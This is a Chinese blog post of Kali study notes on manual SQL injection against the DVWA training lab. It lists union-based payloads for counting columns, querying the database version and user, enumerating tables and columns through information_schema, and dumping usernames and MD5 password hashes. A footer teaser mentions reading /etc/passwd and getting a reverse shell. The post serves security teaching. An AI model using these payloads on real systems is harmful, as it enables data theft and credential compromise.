Kali学习笔记39:SQL手工注入(1)
终于到了SQL注入
最大的、最经典的、最常见的Web漏洞就是SQL注入漏洞
SQL注入的原理这里就不说了,百度
打开DVWA,SQL注入测试模块
测试单引号,发现出错,于是想到测试语句:
1' or '1'='1
成功:
测试是否存在漏洞:
1' and '1'='1 如果返回数据,但是1' and '1'='0 不返回数据,代表存在sql注入
或者简易一些:1' and '1 返回但是1' and '0不返回数据
进一步:
猜测当前SQL语句总共查询了多少字段:
' order by 50 --
注意--后边必须跟一个空格,--作用是注释最后一个单引号,必须跟空格
首先猜测50过大会报错:
Unknown column '50' in 'order clause'
然后继续猜测小于五十的数:
直到我猜测到2
当我把这里修改成2后,提交没有任何反应
于是得出结论:查询了两个字段,源码验证sql语句为:
SELECT first_name, last_name FROM users WHERE user_id = '$id'
猜测成功,查询了两个字段
接下来我想在后边加入select语句来执行查询命令:
不过两个select语句连在一起是不允许的
于是想到使用联合查询(union)
注意:--跟上空格
这时候可以进一步确定:firstname为第一个字段,surname是第二个字段
既然知道了1,2对应的位置,那么就可以使用SQL函数来查询其他信息:
比如这里我查询到了数据库当前的用户
再使用:' union select user(),version() --
可以查到数据库版本:
联系日常经验:5版本的数据库不会是MSSQL或者Oracle
最流行的5版本数据库就是MySQL
查询当前数据库:database函数
' union select user(),database() --
使用全局函数:
' union select user(),@@datadir --
类似地:
' union select user(),@@hostname --
查询操作系统:
' union select user(),@@version_compile_os --
切分字符串的功能:
' union select null,substring_index(USER(),"@",1) --
这句话的意思是查出来user信息,然后以@分隔开,取前一部分
有时候我们提交的字符会被服务器过滤,于是可以使用SQL的CHAR函数进行ASCII码转换
如果我们需要查很多的函数,而显示的位置很好,可以联合函数CONCAT_WS
使用一个稍复杂的SQL语句:
' union select CONCAT_WS(CHAR(32,58,32),user(),database(),version()),null --
这里的CHAR(32,58,32)是空格冒号空格,方便显示
MySQL的数据存储相对简单,有一个元数据表infotmation_schema表
于是可以利用这张表查询数据库的很多信息:
查询所有库里面的所有表:
' union select table_name,table_schema from information_schema.tables --
找到了dvwa库里面的很多表:
查询每一个库有多少表:
' union select table_schema,count(*) from information_schema.tables group by table_schema --
只针对dvwa库进行查询:
' union select table_name,table_schema from information_schema.tables where table_schema='dvwa' --
查询dvwa库中users表都有哪些字段:
' union select table_name,column_name from information_schema.columns where table_schema='dvwa' and table_name='users' --
知道了有user和password两列,我们就可以直接进行查询了:
' union select user,password from dvwa.users --
查到了所有的用户名和加密的密码
使用concat来改一下显示格式也行:
' union select null,concat(user,0x3a,password) from dvwa.users --
加密的密码根据长度猜测为MD5加密
也可以使用Kali的hash-identifier来验证:
于是考虑如何解密:把这些指定格式的用户名密码复制出来,弄到一个文本中
破解成功:
Kali学习笔记39:SQL手工注入(1)的更多相关文章
- Kali学习笔记42:SQL手工注入(4)
前三篇文章都是在讲发现SQL注入漏洞 如何查询得到所有的信息 那么另一条思路还未尝试过:能否修改数据? 例如这样: '; update users set user='yiqing' where us ...
- 小白日记39:kali渗透测试之Web渗透-SQL手工注入(一)-检测方法
SQL手工注入(一) SQL注入:通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令.[SQL注入原理] ##服务端程序将用户输入参数作为查询 ...
- 小白日记41:kali渗透测试之Web渗透-SQL手工注入(三)-猜测列名、表名、库名、字段内容,数据库写入
SQL手工注入 靶机:metasploitable(低) 1.当无权读取infomation_schema库[MySQL最重要的源数据库,必须有root权限]/拒绝union.order by语句 ...
- SQL反模式学习笔记21 SQL注入
目标:编写SQL动态查询,防止SQL注入 通常所说的“SQL动态查询”是指将程序中的变量和基本SQL语句拼接成一个完整的查询语句. 反模式:将未经验证的输入作为代码执行 当向SQL查询的字符串中插入别 ...
- 小白日记40:kali渗透测试之Web渗透-SQL手工注入(二)-读取文件、写入文件、反弹shell
SQL手工注入 1.读取文件[load_file函数] ' union SELECT null,load_file('/etc/passwd')--+ burpsuite 2.写入文件 ' unio ...
- Oracle学习笔记三 SQL命令
SQL简介 SQL 支持下列类别的命令: 1.数据定义语言(DDL) 2.数据操纵语言(DML) 3.事务控制语言(TCL) 4.数据控制语言(DCL)
- SQL手工注入基础篇
0.前言 本篇博文是对SQL手工注入进行基础知识的讲解,更多进阶知识请参考进阶篇(咕咕),文中有误之处,还请各位师傅指出来.学习本篇之前,请先确保以及掌握了以下知识: 基本的SQL语句 HTTP的GE ...
- 【新手篇】搭建DCN漏洞靶机及简单的SQL手工注入
很多新手小白入门后发现想要学好“网安”技术,除了掌握基础理论知识,更需要经常模拟不同的漏洞环境,但是如果使用外网服务器练习,会存在一定风险,因此能够搭建一个本地的模拟环境去测试漏洞将是一个不错的方案. ...
- .NET CORE学习笔记系列(2)——依赖注入[7]: .NET Core DI框架[服务注册]
原文https://www.cnblogs.com/artech/p/net-core-di-07.html 包含服务注册信息的IServiceCollection对象最终被用来创建作为DI容器的IS ...
随机推荐
- 如何监听Element组件<el-input>标签的回车事件
一.现象 表单提交时需要处理输入框的回车事件,一般的原生input标签可以用@keyup.enter="onSubmit"(tips:onSubmit为定义的方法) 二.解决 1. ...
- Python 的 14 张思维导图汇总
本文主要涵盖了 Python 编程的核心知识(暂不包括标准库及第三方库,后续会发布相应专题的文章). 首先,按顺序依次展示了以下内容的一系列思维导图:基础知识,数据类型(数字,字符串,列表,元组,字典 ...
- mysql约束以及数据库的修改
一.约束 1.约束保证数据完整性和一致性. 2.约束分为表级约束和列级约束. (1)表级约束(约束针对于两个或两个以上的字段使用) (2)列级约束(针对于一个字段使用) 3.约束类型有: (1)NOT ...
- [ES]elasticsearch章5 ES的分词(二)
Elasticsearch 中文搜索时遇到几个问题: 当搜索关键词如:“人民币”时,如果分词将“人民币”分成“人”,“民”,“币”三个单字,那么搜索该关键词会匹配到很多包含该单字的无关内容,但是如果将 ...
- docker_sd
docker exec --user jovyan -d jupyter nohup jupyter nbconvert --ExecutePreprocessor.timeout=-1 --Code ...
- 一、PyQt5基础概念与安装配置
一.初识PyQt5 对于桌面程序开发,用户图形界面(GUI)的设计非常重要.一款美观.易用的用户界面可以很大程度上提高对使用这的友好度.由于Python最初是作为脚本语言开发,并没有GUI功能.但Py ...
- Servers无法打开
有时候打开MyEclipse莫名Servers窗口挂掉, 出现"Could Not Create The View :An Unexpected Exception Was Thrown&q ...
- python 基础———— 字符串常用的调用 (图2)
1. replace 2. join 3.split 4 rsplit 5. strip : 去除字符串左右两边特定(指定)的字符 7. rstrip : 去除右边特定(指定)的字符 8. l ...
- php获取指定日期,前一天、前一周、前一个月、前一年,后一天,后一周,前一个月,前一年
dump( date( 'Y-m-d', strtotime('2018-10-1 +1 day') ) ); dump( date( 'Y-m-d', strtotime('2018-10-1 +1 ...
- (PMP)第2章-----项目运行环境
1.事业环境因素:(客观存在,可能有帮助或阻碍,项目经理必须遵守) 内部:文化,结构,治理:设施和资源的地理分布,基础设施,信息技术软件,资源可用性,员工能力 外部:市场条件,社会和文化,法律限制,商 ...